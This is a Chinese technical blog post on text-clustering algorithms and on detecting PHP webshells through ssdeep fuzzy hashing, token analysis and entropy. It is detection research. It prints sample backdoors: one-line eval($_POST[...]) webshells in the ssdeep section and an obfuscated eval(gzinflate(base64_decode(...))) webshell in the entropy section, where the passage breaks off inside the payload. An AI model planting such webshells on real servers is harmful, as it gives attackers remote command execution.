Text Clustering、Malformation Webshell Detection

catalog

1. Text Clustering
2. Clustering Algorithm
3. Text Clustering Procedure
4. Text Clustering Programing
5. Malformation Webshell Detection
6. 多分类webshell聚类过程
7. DEMO原型效果测试
8. 基于机器学习进行WEBSHELL识别
9. 基于文件元信息进行可疑判断
10. 基于client+server粗细粒度的webshell检测
11. Syntax And Lexical Analysis In WEBSHELL Detection（基于词法、语法分析的WEBSHELL检测）

 

1. Text Clustering

文本聚类(Text clustering)文档聚类主要是依据著名的聚类假设

1. 同类的文档相似度较大
2. 不同类的文档相似度较小

聚类(分类)作为一种无监督的机器学习方法，聚类由于不需要训练过程，以及不需要预先对文档手工标注类别，因此具有一定的灵活性和较高的自动化处理能力，已经成为对文本信息进行有效地组织、摘要和导航的重要手段，聚类分析是按照一定的规律和要求对事物进行簇划分的过程，在这一过程中没有任何关于簇划分的先验知识，没有指导，仅靠事物间的相似性作为簇划分的准则，将一个数据集合划分成多个簇

1. 提供训练数据集(训练样本集)
2. 把人类的经验表示为特征(feature)(也即需要采样的维度)，把数据集(样本)转换成特征向量(feature vector)(抽象后的数值)，这个过程是一个建模的过程，将松散语义的文本抽象为一个格式化的数值向量
3. 利用这些数据集和他们的特征向量训练合适的分类器(Classifier)，开源界广泛的聚类、机器学习工具算法就是在这一步存在较大的差别，不同的算法从本质上是看待特征向量和待检测样本的角度不同，但不管如何不同，最终的结果都是获得一个可量化的数值(或数组)
4. 评价分类效果，比如精度、召回率等等
5. 交叉检验分类效果 (Cross-validation) 

机器学习并没有什么神秘的技术，它本质上是用多个变量进行综合决策，机器在这多个变量的约束下用数值计算方法找出近似最优解

0x1: 簇Cluster

分类的任务需要告诉机器他用来学习的正例(positive samples)和反例(negative samples)，，正例和反例的涵盖范围和具体问题有关，在WEBSHELL检测中，正例就是正常网站文件，反例就是恶意的WEBSHELL文件
簇Cluster: 数据对象的集合

1. 在同一个簇中，数据对象是相似的
2. 不同簇之间的对象是不相似的

0x2: 数据集的划分

0x3: 聚类分析的数学描述

聚类分析 (Clustering)

给定数据样本集X: { X1, X2, …, Xn}，根据数据点间的相似程度将数据集合分成K簇{C1, C2, …, Ck}的过程称为聚类分析
簇记为Ci == {Xj1i, Xj2i, …, Xjnii}，Ci(i = 1, …, k)是X的子集，且满足
    1) C1 ∪ C2 ∪ … ∪Ck = X  
    2) Ci ∩ Cj = ф，i≠j 

相似样本在同一簇中，相异样本在不同簇中

0x3: 应用

1. 文档聚类可以作为多文档自动文摘等自然语言处理应用的预处理步骤，比较典型的例子是哥伦比亚大学开发的多文档文摘系统Newsblaster。Newsblaster将每天发生的重要新闻文本进行聚类处理，并对同主题文档进行冗余消除、信息融合、文本生成等处理，从而生成一篇简明扼要的摘要文档 
2. 对搜索引擎返回的结果进行聚类，使用户迅速定位到所需要的信息。Hua-Jun Zeng等人提出了对搜索引擎返回的结果进行聚类的学习算法。比较典型的系统则有vivisimo和infonetware等系统允许用户输入检索关键词，而后对检索到的文档进行聚类处理，并输出各个不同类别的简要描述，从而可以缩小检索的范围，用户只需关注比较有希望的主题。另外这种方法也可以为用户二次检索提供线索
3. 对用户感兴趣的文档(如用户浏览器cache中的网页)聚类，从而发现用户的兴趣模式并用于信息过滤和信息主动推荐等服务
4. 聚类技术还可以用来改善文本分类的结果，如俄亥俄州立大学的Y.C. Fang, S. Parthasarathy和F. Schwartz等人的工作
5. 数字图书馆服务。通过SOM神经网络等方法，可以将高维空间的文档拓扑保序地映射到二维空间，使得聚类结果可视化和便于理解，如SOMlib[ ]系统
6. 文档集合的自动整理。如Scatter/Gather[ ]是一个基于聚类的文档浏览系统。而微软的Ji-Rong Wen等人则利用聚类技术对用户提出的查询记录进行聚类，并利用结果更新搜索引擎网站的FAQ

0x4: 文本聚类

1. Document Clustering (DC) is partitioning a set of documents into groups or clusters

2. Clusters should be computed to 
    1) Contain similar documents 
    2) Separate as much as possible different documents

3. For instance, if similarity between documents is defined to capture "semantic relatedness", documents in a cluster should deal with the same
topics, and topics in each cluster should be different 

Relevant Link:

http://baike.baidu.com/view/1133919.htm
http://www.zhihu.com/question/21070175

 

2. Clustering Algorithm

0x1: 划分法(partitioning methods)

给定一个有N个元组或者纪录的数据集，分裂法将构造K个分组，每一个分组就代表一个聚类，K<N。而且这K个分组满足下列条件

1. 每一个分组至少包含一个数据纪录
2. 每一个数据纪录属于且仅属于一个分组(这个要求在某些模糊聚类算法中可以放宽)
3. 对于给定的K，算法首先给出一个初始的分组方法，以后通过反复迭代的方法改变分组，使得每一次改进之后的分组方案都较前一次好

将文档集D={d1,...,di , … ,dn}分割为的若干类具体过程

1. 确定要生成的类的数目K
2. 按照某种原则生成k个聚类中心作为聚类的种子: S={s1, … ,sj , … ,sk} 
3. 对D中的每一个文档di ，依次计算它与各个种子sj的相似度: sim(di , sj) 
4. 选取具有最大的相似度的种子: arg max sim(di , sj)，将di归入以sj为聚类中心的类Cj，从而得到D的一个聚类: C={c1, … ,ck} 
5. 重复步骤2~4若干次，以得到较为稳定的聚类结果 

而所谓好的标准就是：同一分组中的记录越近越好，而不同分组中的纪录越远越好。使用这个基本思想的算法有

1. K-MEANS算法(K-均值)
    1) 选择一个含有随机样本的k个簇的初始划分，计算这些簇的质心 
    2) 根据欧氏距离把剩余的每个样本分配到距离它最近的簇质心的一个划分 
    3) 计算被分配到每个簇的样本的均值向量，作为新的簇的质心(这个过程会逐渐产生近似于圆的收敛域)
    4) 重复2、3步骤直到k个簇的质心点不再发生变化或准则函数收敛
2. K-MEDOIDS算法(k-中心点算法)
    1) 不采用簇中样本的平均值作为参照点
    2) 选用簇中位置最中心的对象―-中心点作为参照点
3. CLARANS算法
4. PAM(Partitioning Around Medoids围绕中心点划分)
    1) 最早提出的k-中心点算法之一
    2) 基本思想: 最初随机选择k个中心点后，反复尝试找更好的中心点
PAM算法流程
    1) 随机选择k个代表对象作为初始的中心点 
    2) repeat
    3) 指派每个剩余对象给离它最近的中心点所代表的簇
    4) 随机的选择一个非中心点对象Orandom
    5) 计算用Orandom代替Oj的总代价
    6) 如果总代价为负，则Orandom代替Oj，形成新的k个中心点的集合
    7) Until不发生变化

1. k-means算法示例

k-means的缺陷

1. 要求用户必须事先给出要生成的簇的数目，选择初始划分的最佳方向、更新和停止准则
2. 难以处理大小很不相同的簇或具有凹状的簇。
3. 算法只有在簇的平均值被定义的情况下才能使用，这不适涉及有分类属性的数据 
4. 对噪音和异常点非常敏感
5. 方法速度快，但k要预先确定，种子选取难

2. PAM算法

0x2: 层次法(hierarchical methods)

这种方法对给定的数据集进行层次似的分解，直到某种条件满足为止。具体又可分为

1. 自底向上的聚类(凝聚):
    1) 初始时每一个数据纪录都组成一个单独的组，在接下来的迭代中，它把那些相互邻近的组合并成一个组，直到所有的记录组成一个分组或者某个条件满足为止
    2) 每一项自成一类
    3) 迭代，将最近的两类合为一类
代表算法有
    1) BIRCH算法
    2) CURE算法
    3) CHAMELEON算法等

2. 自顶向下的聚类(分裂)
    1) 将所有项看作一类
    2) 找出最不相似的项分裂出去成为两类

0x3: AGNES

1．单连接算法(single-linkage)(最近邻Nearest Neighbor)
    1) 两个簇之间的距离用从两个簇中抽取的每对样本的最小距离作为距离度量
    2) 一旦最近的两个簇的距离超过某个任意给定的阈值，算法就自动结束(即把簇之间尽量区分开来)
2．全连接算法
3．平均连接算法

0x4: 基于密度的方法(density-based methods)

基于密度的方法与其它方法的一个根本区别是

1. 基于样本之间的距离的聚类方法只能发现球状的簇，而基于密度的方法可用来过滤"噪声"孤立点数据，以发现任意形状的簇 
2. 只要临近区域的密度(样本的数目)超过某个阈值则继续聚类。即对于给定簇中的每个样本，在一个给定范围的区域中必须至少包含某个数目的样本
3. 它不是基于各种各样的距离的，而是基于密度的。这样就能克服基于距离的算法只能发现"类圆形"的聚类的缺点
4. 这个方法的指导思想就是，只要一个区域中的点的密度大过某个阀值，就把它加到与之相近的聚类中去

基于密度聚类的相关定义

1. 给定对象半径ε内的区域称为该对象的"ε-邻域"
2. 如果一个对象的"ε-邻域"至少包含最小数目MinPts个对象，则称该对象为核对象
3. 给定一个对象集合D，如果p是在q的"ε-邻域"内，而q是一个核心对象，则称对象p从对象q出发是直接密度可达的 
4. 如果存在一个对象链: 
    1) p1, p2, …, pn, p1 = q
    2) pn = p，对pi∈D(1<=i<=n)，pi+1是从pi关于ε和MinPts直接密度可达的，则对象p是从对象q关于ε和MinPts密度可达的
5.如果对象集合D中存在一个对象o，使得对象p和q是从o关于ε和MinPts密度可达的，那么对象p和q是关于ε和MinPts密度相连的 

代表算法有

1. DBSCAN算法(Density-Based Spatial Clustering of Applications with Noise)
    1) 任意选择没有加簇标签的点p
    2) 找到p的"ε-邻域" 
    3) 如果"ε-邻域"的点个数 > MinPts，则p是核心对象，形成一个新的簇，给簇内所有的对象点加簇标签
    4) 否则处理数据集的下一点
    5) 重复上述过程，直到所有的点处理完毕

2. OPTICS算法(Ordering Points To Identify the Clustering Structure)
    1) 对DBSCAN的改进
        1.1) 对输入参数不敏感
        1.2) 可以发现不同密度的簇
        1.3) 用图表等可视化的方式来表示
        1.4) 按可达距离排序
        1.5) 可自动挖掘，也可与用户交互
    2) 计算数据点p的核心距离和可达距离
    3) 如果p为核心对象，找到所有它的关于和MinPts的直接密度可达点，按可达距离排序并插入队列
    4) 处理下一个数据点 

3. DENCLUE算法等

1. DBSCAN算法

DBSCAN算法的相关定义

1. 簇: 基于密度可达性的最大的密度相连对象的集合
2. 噪音: 不在任何簇中的对象
3. 边界对象: 不是核心对象，但在簇中即至少从一个核心对象直接可达

DBSCAN算法的不足和改进

1. 只能发现密度相仿的簇
2. 对用户定义的参数敏感
3. 计算复杂度为O(n2)
4. 采用R-树等空间索引技术，计算复杂度: o(nlogn)

2. OPTICS算法

0x4: 基于网格的方法(grid-based methods)

1. 数据空间区域被划分为矩形单元
2. 对应于不同级别的分辨率，存在着不同级别的矩形单元: 高层的每个单元被分为多个低一层的单元 
3. 每个网格单元的统计信息被预先计算和存储，以供处理查询之用
4. 这种方法首先将数据空间划分成为有限个单元(cell)的网格结构，所有的处理都是以单个的单元为对象的
5. 这么处理的一个突出的优点就是处理速度很快，通常这是与目标数据库中记录的个数无关的，它只与把数据空间分为多少个单元有关

代表算法有

1. STING算法
2. CLIQUE算法(CLIQUE:Clustering In QUEst)
    1) 将数据空间划分为互不相交的长方形单元，记录每个单元里的对象数
    2) 用先验性质识别包含簇的子空间
    3) 识别簇：
        3.1) 在符合兴趣度的子空间中找出密集单元
        3.2) 在符合兴趣度的子空间中找出相连的密集单元
    4) 识别密集单元
        4.1) 先验性质: 如果一个K维单元是密集的，那么它在k-1空间上的投影也是密集的 
        4.2) 即给定一个k维的侯选密集单元，如果检查它的k-1维投影空间，发现任何一个不是密集的，那么知道第k维的单元也不可能是密集的     
3. WAVE-CLUSTER算法

1. CLIQUE算法

0x5: 基于模型的方法(model-based methods)

基于模型的方法给每一个聚类假定一个模型，然后去寻找一个能很好的满足这个模型的数据集。这样一个模型可能是数据点在空间中的密度分布函数或者其它。它的一个潜在的假定就是: 目标数据集是由一系列的概率分布所决定的。通常有两种尝试方向
    1) 统计的方案(例如文本词频统计特性)
    2) 神经网络的方案

0x6: 文档间距离

向量空间模型(Vector Space Model)

1. M个无序标引项ti(特征)，词根/词/短语/其他
2. 每个文档dj可以用标引项向量来表示: (a1j,a2j,…,aMj)
3. 权重计算，N个训练文档: AM*N= (aij)
4. 相似度计算
    1) Cosine计算
    2) 内积计算

0x7: 簇间距离

簇Gp与簇Gq之间的距离Dpq

1. 最短距离法
2. 最长距离法
3. 重心法
4. 离差平方和
5. 簇平均法

0x8: Identifying almost identical files using context triggered piecewise hashing

Homologous files share identical sets of bits in the same order. Because such files are not completely identical, traditional techniques such as cryptographic hashing cannot be used to identify them.

1. Piecewise hashing

Originally developed by Nicholas Harbour for dcfldd (Harbour,2002), piecewise hashing uses an arbitrary hashing algorithm to create many checksums for a file instead of
just one. Rather than to generate a single hash for the entire file, a hash is generated for many discrete fixed-size segments of the file.

For example, one hash is generated for the first 512 bytes of input, another hash for the next 512 bytes, and so on.

2. The rolling hash

A rolling hash algorithm produces a pseudo-random value based only on the current context of the input. The rolling hash works by maintaining a state based solely on the last few bytes from the input. Each byte is added to the state as it is processed and removed from the state after a set number of other bytes have been processed.

3. Combining the hash algorithms

Whereas current piecewise hashing programs such as dcfldd used fixed offsets to determine when to start and stop the traditional hash algorithm, a CTPH algorithm uses the rolling hash. When the output of the rolling hash produces a specifi coutput, or trigger value, the traditional hash is triggered. That is, while processing the input file, one begins to compute the traditional hash for the file. Simultaneously, one must also compute the rolling hash for the file. When the rolling hash produces a trigger value, the value of the traditional hash is recorded in the CTPH signature and the traditional hash is reset.

Consequently, each recorded value in the CTPH signature depends only on part of the input, and changes to the input will result in only localized changes in the CTPH ignature.
For instance, if a byte of the input is changed, at most two,and in many cases, only one of the traditional hash values will be changed; the majority of the CTPH signature will remain the same. Because the majority of the signature remains the same, files with modifications can still be associated with the CTPH signatures of known files.

Relevant Link:

http://www.icst.pku.edu.cn/course/mining/12-13spring/TextMining05-%E8%81%9A%E7%B1%BB.pdf
http://dfrws.org/2006/proceedings/12-Kornblum.pdf 

 

3. Text Clustering Procedure

0x1: 文本聚类基本步骤

As other text processing tasks, DC has several steps

1. Document representation
2. Dimensionality reduction
3. Applying a clustering algorithm
4. Evaluating the effectiveness of the process

0x2: 聚类结果的评价

1. 准确率(P precision)
2. 召回率(R recall)
3. F-Measure
4. 所有类的总体评价
5. 宏平均 Macro
6. 微平均 Micro
7. 误差平方和准则(sum-of-squared-error criterion)

0x3: 聚类算法的评价

1. 该算法是否能发现某些或所有的隐含模式

2. 聚类算法要能产生高质量的聚类结果——簇，这些簇要具备以下两个特点：
    1) 高的簇内相似性
    2) 低的簇间相似性

3. 聚类结果的好坏取决于
    1) 聚类算法采用的相似性评估方法
　　2) 该算法的具体实现 

4. 可伸缩性
5. 能发现任意形状的簇
6. 参数输入的时候，尽量不需要特定的领域知识
7. 对输入数据对象的顺序不敏感
8. 能够处理噪声和异常
9. 能够处理不同类型的属性
10. 能处理高维数据
11. 能产生一个好的、满足用户指定约束的聚类结果
12. 结果是可解释的、可理解的和可用的

Relevant Link:

 

4. Text Clustering Programing

0x1: ssdeep

ssdeep is a program for computing context triggered piecewise hashes (CTPH). Also called fuzzy hashes, CTPH can match inputs that have homologies. Such inputs have sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length.

Usage: ssdeep [-m file] [-k file] [-dpgvrsblcxa] [-t val] [-h|-V] [FILES]

1. -m: Match FILES against known hashes in file
2. -k: Match signatures in FILES against signatures in file
3. -d: Directory mode, compare all files in a directory
4. -p: Pretty matching mode. Similar to -d but includes all matches
5. -g: Cluster matches together
6. -v: Verbose mode. Displays filename as its being processed
7. -r: Recursive mode
8. -s: Silent mode; all errors are supressed
9. -b: Uses only the bare name of files; all path information omitted
10. -l: Uses relative paths for filenames
11. -c: Prints output in CSV format
12. -x: Compare FILES as signature files
13. -a: Display all matches, regardless of score
14. -t: Only displays matches above the given threshold
15. -h: Display this help message
16. -V: Display version number and exit

实验过程

type shell.php
<?php 
    ..
    eval($_POST['op']);
?>

ssdeep.exe -b webshell_hash/shell.php > result_hashs.txt

type result_hashs.txt
ssdeep,1.1--blocksize:hash:hash,filename
96:KZVnaQSZyEhzFviSMEiSMiuDBd2633s8Us4qX9FGpTqXNFKCQZqX9FnTr1CoiyD:KZVaDZyEhzFXi26M8sbcDD,"shell.php"

//检测自身和自身的相似度(结果必然为100)
ssdeep.exe -bm result_hashs.txt webshell_hash/shell.php
shell.php matches result_hashs.txt:shell.php (100)

//对webshell进行修改
type shell1.php
<?php 
    ..
    eval($_POST['pwd']);
    //owned by LittleHann
?>
ssdeep.exe -bm result_hashs.txt webshell_hash/shell1.php
shell1.php matches result_hashs.txt:shell.php (99)

//将已确认的新的webshell继续加入HASH特征库
ssdeep.exe -b webshell_hash/shell1.php >> result_hashs.txt

//在新的HASH特征库的基础上循环迭代，继续检测其他的webshell
type shell2.php
<?php 
    ..
    eval($_POST['e7xue']);
    //owned by hacker
?>
ssdeep.exe -bm result_hashs.txt webshell_hash/shell2.php
shell2.php matches result_hashs.txt:shell.php (99)
shell2.php matches result_hashs.txt:shell1.php (99)
//可以看到，待检测webshell和HASH库中的特征匹配度都很高

0x2: PHP ssdeep Fuzzy Hashing

ssdeep is a utility for creating and comparing fuzzy hashes or » context-triggered piecewise hashing.
Fuzzy hashing can match signatures which have "...sequences of identical bytes in the same order, although bytes in between these sequences may be different in both content and length
This extension provides functions for creating and comparing fuzzy hashes.

0x3: NeoPI

NeoPI is a Python script that uses a variety of statistical methods to detect obfuscated and encrypted content within text/script files. The intended purpose of NeoPI is to aid in the detection of hidden web shell code. The development focus of NeoPI was creating a tool that could be used in conjunction with other established detection methods such as Linux Malware Detect or traditional signature/keyword based searches.
NeoPI recursively scans through the file system from a base directory and will rank files based on the results of a number of tests. It also presents a “general” score derived from file rankings within the individual tests.

Relevant Link:

http://ssdeep.sourceforge.net/
http://pecl.php.net/package/ssdeep
http://danqingdani.blog.163.com/blog/static/1860941952014111291954550/
https://github.com/Neohapsis/NeoPI

 

5. Malformation Webshell Detection

我们知道，在入侵攻防中，WEBSHELL是一个主要的攻防载体，而基于文件创建、修改的实时通知机制的WEBSHELL检测是一个很关键的防御手段，但是在客户端的疑似WEBSHELL粗粒度检测需要面临几个难题

1. 管理员在服务器的备份、复制、解压操作可能会造成大量的文件变动
2. 网站的正常运行过程中会产生大量的临时、CACHE、上传、配置文件
3. 很多情况下，正常的WEB文件中会包含有一些疑似WEBSHELL、后门功能的代码，甚至很多时候，因为PHP语言的灵活性，一些WEBSHELL的特征和正常文件相差无几，例如PHP的动态函数执行机制
4. 黑客将WEBSHELL代码插入到了正常的网站文件中

0x1: 客户端疑似WEBSHELL粗粒度检测思路

采用组合逐步深入检测的思想

1. 上传待检测WEBSHELL
2. 基于已知MD5 HASH库的精确匹配: MD5 Hash库中的MD5被分为"YES WEBSHELL"、"NOT WEBSHELL"两种，用户精确化区分判断正常文件和WEBSHELL
    1) MD5匹配结果为"YES WEBSHELL"
    2) MD5匹配结果为"NOT WEBSHELL"
2. 采用基于字符串匹配权重分值的正则(每条字符串规则分配不同的权重分值，最后判断总和分值的方法)、正则匹配WEBSHELL检测
3. 采用PHP Toekn词法解析技术，对WEBSHELL进行预处理(例如Base64、ROT13反转加密)，将密文预处理为明文
    1) 将待检测文件解析为Token语法树序列结构
    2) 递归地检测解密结点(例如base64_decode)
    3) 对捕获到的解密结点之后的字符串进行对应的解密操作
    4) 最后的结果是将含有加密操作(例如base64)的WEBSHELL解密为明文的PHP文件
4. 预处理(解密)结束后，进行完整的webshell正则、字符串权重分值判断逻辑，如果匹配成功，则结束判断，进入上报逻辑，如果匹配失败，则继续后续判断逻辑
5. 基于Token语法的危险函数变量回溯检测
    1) 词法解析，获得PHP代码的所有Token 
    2) 根据Token获取到所有函数调用，并反向回溯函数调用中涉及的参数
    3) 根据Token获取到所有变量赋值，即逆向回溯过程
    4) 在变量逆向回溯到源头之后，进行关键字匹配，若是直接匹配到恶意，则认为恶意文件
    5) 得知是恶意函数调用之后获取其参数，若是常量直接显示；若是变量再变量回溯 
6. 针对webshell中可能出现的动态函数执行进行检测
    1) 首先判断"("，然后括号左边的是变量或是identify就将其先保存下来
    2) 然后再逐个进行匹配括号"("右边的参数，提取参数
    3) 如果匹配出的是变量就进行变量回溯
    4) 将回溯得到的值进行正则或是字符串匹配，最后回溯到底的这个值如果是webshell那一定是一个包含恶意特征的代码
7. 之前的判断逻辑全部判断失败后，进行最后一轮判断，根据聚类结果进行WEBSHELL判断，进行SSDEEP算法模糊匹配
    1) 对外一个上传待检测webshell的接口
    2) 检测完毕后，给出一个检测结果("YSE WEBSHELL" or "NOT WEBSHELL")，并标记为待确认状态(is_check = 0)
    3) 由安全人员定期对待确认状态的WEBSHELL进行确认，已确认的新的WEBSHELL会提取特征到特征库中，包括
        3.1) Md5: 标明is_webshell = 1 / 0: (用于确定性地表明是WEBSHELL or 不是WEBSHELL)
        3.2) Ssdeep HASH: 标明is_webshell = 1 / 0: (用于进行)
    4) 前期算法学习阶段使用大量的WEBSHELL样本进行自学习，用大量的WEBSHELL样本，然后利用ssdeep计算出hash签名作为标准特征库
    5) 每次将待检测WEBSHELL和ssdeep HASH库进行逐一比较，得到两个结果数组，其中每个数组元素为待检测WEBSHELL和ssdeep Hash库中每个hash条目的fuzzy hash比较结果
        5.1) Ssdeep_hash -> is_webshell = 1: "yes webshell"聚类结果
        5.2) Ssdeep_hash -> is_webshell = 0: "not webshell"聚类结果
    6) 分别统计两个结果数组中分值超过90分的个数，以个数的为最后结果，即取最后聚类结果更偏向的方向，即置信度

0x2: 基础数据库搭建

//创建数据库
CREATE DATABASE webshell_detection;

//1. 创建数据表: webshell_scan
id
filename
original_filename
uploadtime
is_check
is_webshell

//2. 创建数据表: md5_hash
id
md5_hash
is_webshell

//3. 创建数据表: ssdeep_hash
id
ssdeep_hash
is_webshell

0x3: Code

http://files.cnblogs.com/files/LittleHann/ssdeep.zip

0x4: 聚类学习过程

改进后的意义在于

1. 替代原本的服务端审核webshell记录、提取特征、修改客户端规则的运营流程
2. 改为只在服务端review上报上来的疑似webshell，并进行人工确认
3. 提高客户端webshell的检出率、降低误报率

而ssdeep聚类算法的关键在于前期学习了大量的样本，即需要"喂食"大量的正常文件和WEBSHELL文件，使SSDEEP HASH库形成两簇较为集中的聚类中心

 

6. 多分类webshell聚类过程

0x1: 二值聚类存在的问题

传统的聚类算法辞去二值分类的思想，即只将样本数据分为两类，这种分类方法当遇到畸形样本的时候，很容易产生误报和漏报

1. 最初的样本中，webshell和正常网站文件都是特征和很明显，表现在模糊hash上就是样本间距离很大
2. 当向ssdeep引擎中加入"正常文件中插马"、"网站大马"，这两种马的核心特点就是在模糊化后和正常网站文件的差别很小，可以想象为在一张聚类图中，原本是两堆距离很远的点集，因为这件事之后，两堆点集的中间也出现了一些零散的点
3. 训练结束之后，误报率反而开始提高了，很多正常网站文件开始被识别为webshell，而很多webshell又被识别为了正常文件

0x2: 改进的方向

1. 把现有的二分聚类，扩展成多类的聚类，针对webshell文本文件类型多的特点，可能分成4、5组，待测文件分别在每一类进行聚类，结束后进行投票，聚类为票数最多的那一类
    1) 一句话webshell
    2) 大马
    3) DDOS木马
    4) 正常网站文件中插入webshell木马
    5) SEO网马
    6) 正常网站文件
2. 使用精简化、准确度高的webshell规则，取消规则命中的打分机制，改为使用准确的正则规则判断，判断结果只有两种
    1) yes_webshell
    2) not_webshell    
3. 基于K-紧邻算法思想优化ssdeep模糊化HASH聚类判定算法
    1) 将待检测样本和"YSE_WEBSHELL"、"NOT_WEBSHELL"分别进行聚类判断
    2) 计算每类聚类结果的"模糊化分值(本质上是一个数学距离)"，结束后，分别求其算术平均值，得到待检测样本对于两类的相对距离

0x3: ssdeep需要改进的点

在使用ssdeep检测一句话WEBSHELL的时候，经常会报错

ssdeep: Did not process files large enough to produce meaningful results

这是因为ssdeep的分段模糊化HASH算法本质上是一种"分组运算算法"，它对待检测文本的最小长度有硬性要求，如果待检测文本小于最小的"一块"则无法进行计算，一种可行的解决方案是对小于一块的待检测文本进行PADDING填充(类似MD5算法)，然后进行计算

 

7. DEMO原型效果测试

0x1: 样本训练方法

样本的训练本质上是一个将样本集进行二分聚类的归类过程，这个过程需要人工参与

1. 正常文件聚类训练
    1) Curl模拟提交正常样本文件
    2) 自动化手工打标为正常文件
http://112.124.6.139/ssdeep/index.php?filename=7055c8aaaf4ef6e0a98ce6b37b654799&action=verify&type=3

2. 恶意WEBSHELL文件聚类训练
    1) Curl模拟提交恶意WEBSHELL文件
    2) 自动化手工打标为WEBSHELL
http://112.124.6.139/ssdeep/index.php?filename=7055c8aaaf4ef6e0a98ce6b37b654799&action=verify&type=2

0x2: 正常网站文件训练样本集

1. wordpress
2. discuz
3. ecshop
4. dedecms
5. phpmyadmin
6. thinkphp framework
//历史所有版本，总计7w个有效.PHP文件

Relevant Link:

http://blog.sina.com.cn/s/blog_78dfee090102vhth.html
http://discuz.ml/download
http://download.comsenz.com/DiscuzX/
http://www.dedecms.com/products/dedecms/downloads/
http://sourceforge.net/projects/phpmyadmin/files/phpMyAdmin/
https://code.google.com/p/thinkphp/downloads/list

0x3: 恶意WEBSHELL文件训练样本集

1. github webshell样本库
2. 日常中收集的webshell
//总计1500+

Relevant Link:

https://github.com/tennc/webshell
https://github.com/JohnTroony/php-webshells

0x4: 检测效果报告

1. 样本库情况

1. 正常网站文件: 9190
2. 恶意WEBSHELL文件: 341

2. 测试文件

1. webshell文件: 64
2. 正常网站文件: 436

3. DEMO引擎自动化判断结果

//效果测试样本为不在前期训练范围内的脚本样本，即检测DEMO对待检测样本没有任何先验知识
1. WEBSHELL漏报率: WEBSHELL文件中，有几个被误判为正常文件，漏报率: 1 / 64 = 1.5625%
SELECT * FROM  `webshell_scan` WHERE `is_webshell` = 0 AND `is_check` = 0;

2. 正常文件误报率：正常文件有几个文件被误判为WEBSHELL，误报率: 0(误报数) / 436(总文件数) = 0%
SELECT * FROM  `webshell_scan` WHERE `is_webshell` = 1 AND `is_check` = 0;

 

8. 基于机器学习进行WEBSHELL识别

如果能把人类的经验用数量化表达给机器，机器就能学习到人类的经验，而特征(feature)就是人类经验的模型化，而根据特征进行的抽象计算是基于人类经验对待检测样本的数值化。特征工程是个反复循环的过程，一开始我们找到基线特征，用分类算法计算并评价结果，如果结果不能达到预期，再回头来加入新的特征帮助更好的分类

0x1: 随机性和熵

我们用Shannon熵表达待检测文本里各个字符出现的随机性，因为越是随机熵值越高，这种检测方法对加密型、混淆型WEBSHELL的检测效果较好，因为加密/BASE64处理后的WEBSHELL往往呈现随机字符的特性，例如下面的例子

3.php

<?php
$pass2 = 'ec38fe2a8497e0a8d6d349b3533038cb';
$pass = 'd366d1753a59d6a078ca2ae087e99903';
eval(gzinflate(base64_decode('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